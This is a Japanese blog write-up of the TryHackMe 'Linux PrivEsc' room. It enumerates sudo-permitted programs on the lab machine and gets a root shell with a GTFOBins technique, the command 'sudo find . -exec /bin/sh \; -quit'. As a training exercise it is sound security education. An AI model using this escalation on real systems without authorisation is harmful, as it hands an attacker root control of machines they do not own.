今回は、「GTFOBins」を利用した権限昇格やってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」

こちらの記事は、Part3になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「Linuxの脆弱なファイル権限による権限昇格」も確認してください。




事前準備
ターゲットマシンの起動
まずはターゲットマシンを起動しておきます。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」に参加して、「スタートマシン」を起動します。

こんな感じで、IP Adressが表示されていれば起動はOKです。

SSH接続
起動したターゲットマシンにSSHで接続しておきます。
説明にある通り、「user:password321」で接続できればOKです。
└─$ ssh user@10.10.6.35
The authenticity of host '10.10.6.35 (10.10.6.35)' can't be established.
DSA key fingerprint is SHA256:p2NSsfvYJVk1Qe0tsNX5G2h8AaWYRn71jdz3uEodbMA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.6.35' (DSA) to the list of known hosts.
user@10.10.6.35's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
「-oHostKeyAlgorithms=+ssh-rsa」をつける必要がある場合があります。
GTFOBinsを利用した権限昇格
ではGTFOBinsを利用した権限昇格をやってみたいと思います。
How many programs is “user” allowed to run via sudo? (「ユーザー」がsudo経由で実行できるプログラムはいくつありますか?)
まずは、userがsodoで実行できるプログラムを取得したいと思います。
コマンドは「sodo -l」ですね。
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
上記の11個のプログラムがsodoで実行できることがわかりました。

One program on the list doesn’t have a shell escape sequence on GTFOBins. Which is it?(リストの 1 つのプログラムには、GTFOBins にシェル エスケープ シーケンスがありません。それはどれですか?)
次に、Shell escape sequenceがないプログラムを探します。
(本来は、Shell escape sequenceがあるプログラムを探す感じでしょうかね。)
1つずつ探していると、「apache2」だけありませんでした。

答えは、「apache2」ですね

GTFOBinsを使って権限昇格してみる
では実際に権限昇格をしてみます。
先ほど、リスト表示したもののうち「apache2」以外ならできるはずです。今回は、findで試してみます。
まずは、findで検索し、Sodoを見てみましょう。

コマンドを実行するだけのようなので、実施に実行してみます。

user@debian:~$ sudo find . -exec /bin/sh \; -quit
sh-4.1# whoami
root
実際にrootに権限昇格できていることが確認できました。
すごい簡単ですね。。。こんな簡単でいいのか。。。
まとめ
今回は、「GTFOBins」を利用した権限昇格をやってみました。
すごく簡単に権限昇格ができてしまったので、少し拍子抜けではありましたが、これは活用できそうですね。
参考文献・サイト
Medium(Shamsher khan):https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5